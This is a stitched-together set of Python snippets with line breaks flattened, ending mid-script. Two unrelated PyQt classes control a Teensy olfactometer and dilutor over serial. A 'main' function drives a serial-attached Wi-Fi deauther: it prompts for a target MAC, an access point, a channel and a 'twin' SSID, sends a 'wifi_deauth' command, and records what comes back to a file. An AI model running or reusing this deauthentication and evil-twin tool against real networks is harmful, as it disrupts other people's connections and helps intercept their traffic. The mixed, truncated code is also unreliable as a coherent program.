def __init__(self, parent, config_dict, mfc_polling_interval=2.): """ :param parent: parent Olfactometers window. :param config_dict: _Single_ olfactometer configuration dictionary (see readme for specs on configuration file) :return: """ super(TeensyOlfa, self).__init__() self.config = config_dict self.slaveindex = config_dict['slave_index'] self.polling_interval = mfc_polling_interval self.setTitle('Teensy Olfa (COM:{0})'.format(config_dict['com_port'])) self.dummyvial = self._config_dummy(config_dict["Vials"]) self.checked_id = self.dummyvial self._valve_time_lockout = False # CONFIGURE SERIAL baudrate = 115200 com_port = config_dict['com_port'] logging.info('Starting Teensy Olfactometer on {0}'.format(com_port)) self.serial = connect_serial(com_port, baudrate=baudrate, timeout=1, writeTimeout=1) # CONFIGURE DEVICES self.dilutors = self._config_dilutors(config_dict.get('Dilutors', {})) self.mfcs = self._config_mfcs(config_dict['MFCs']) self.vials = VialGroup(self, config_dict['Vials']) self._poll_mfcs() self._mfc_timer = self._start_mfc_polling(mfc_polling_interval) layout = QtGui.QHBoxLayout(self) for mfc in self.mfcs: layout.addWidget(mfc) layout.addWidget(self.vials) for dil in self.dilutors: layout.addWidget(dil) self.setLayout(layout) self.setStatusTip("Teensy olfactometer on {0}.".format(com_port)) self.all_off()
def __init__(self, parent, config, polling_interval=1.1): super(Dilutor, self).__init__() baudrate = 115200 com_port = config['com_port'] self.serial = connect_serial(com_port, baudrate=baudrate, timeout=1, writeTimeout=1) self._eol = '\r' layout = QtGui.QHBoxLayout() self.mfcs = self._config_mfcs(config['MFCs']) self.polling_interval = polling_interval self.mfc_timer = self.start_mfc_polling() # GUI: for mfc in self.mfcs: layout.addWidget(mfc) self.setTitle('Dilutor (COM:{0})'.format(com_port)) self.setLayout(layout) return
def main(target, ap, chan, ssid): try: targetInput = input( "[?] Select a target (default '%s'): " % target) if targetInput != "": target = targetInput except KeyboardInterrupt: print("\n[+] Exiting...") exit() try: apInput = input("[?] Select an AP (default '%s'): " % ap) if apInput != "": ap = apInput except KeyboardInterrupt: print("\n[+] Exiting...") exit() apInput = apInput.upper().replace(":", "-") targetInput = targetInput.upper().replace(":", "-") country = "FR" try: countryInput = input("[?] Select a country (default '%s'): " % country) if countryInput != "": country = countryInput except KeyboardInterrupt: print("\n[+] Exiting...") exit() try: chanInput = input("[?] Select a channel (default '%d'): " % chan) if chanInput != "": chan = int(chanInput) except KeyboardInterrupt: print("\n[+] Exiting...") exit() try: ssidInput = input("[?] Select a twin ssid (default '%s'): " % ssid) ssid = ssidInput except KeyboardInterrupt: print("\n[+] Exiting...") exit() ser, filename = connect_serial(timeout=1) f = open(filename, 'wb') # set country ser.write(("set country %s\r\n" % country).encode()) ln = ser.read_until(b"\r\n").decode("utf-8") try: if (ln == None or len(ln) == 0): print("Empty country setting, exiting...") exit() try: j = json.loads(ln) recv_country = j.get("WIFI_COUNTRY") if recv_country != country: print("Error 1 setting country, exiting...") exit() except: print("Error 2 setting country, exiting...") exit() except: print("Error 3 setting country, exiting...") exit() # set channel ser.write(("set chan %d\r\n" % (chan)).encode()) ln = ser.read_until(b"\r\n").decode("utf-8") try: if (ln == None or len(ln) == 0): print("Empty channel setting, exiting...") exit() try: j = json.loads(ln) recv_chan = j.get("WIFI_CHANNEL") if recv_chan != chan: print("Error 1 setting channel, exiting...") exit() except: print("Error 2 setting channel, exiting...") exit() except: print("Error 3 setting channel, exiting...") exit() ser.write(("wifi_deauth %s %s %s\r\n" % (target, ap, ssid)).encode()) print("[+] Deauther started...") try: while True: ln = ser.read_until(b"<STOP>") f.write(ln.replace(b"<STOP>", b"")) f.flush() except KeyboardInterrupt: ser.write("stop\r\n".encode()) print("[+] Stopping...") f.close() ser.close() print("[+] Done.")
import json from utils import connect_serial if __name__ == "__main__": ser, filename = connect_serial(timeout=1) f = open(filename, 'wb') # set country country = "FR" try: countryInput = input("[?] Select a country (default '%s'): " % country) if countryInput != "": country = countryInput except KeyboardInterrupt: print("\n[+] Exiting...") exit() ser.write(("set country %s\r\n" % country).encode()) ln = ser.read_until(b"\r\n").decode("utf-8") try: if (ln == None or len(ln) == 0): print("Empty country setting, exiting...") exit() try: j = json.loads(ln) recv_country = j.get("WIFI_COUNTRY") if recv_country != country: print("Error 1 setting country, exiting...")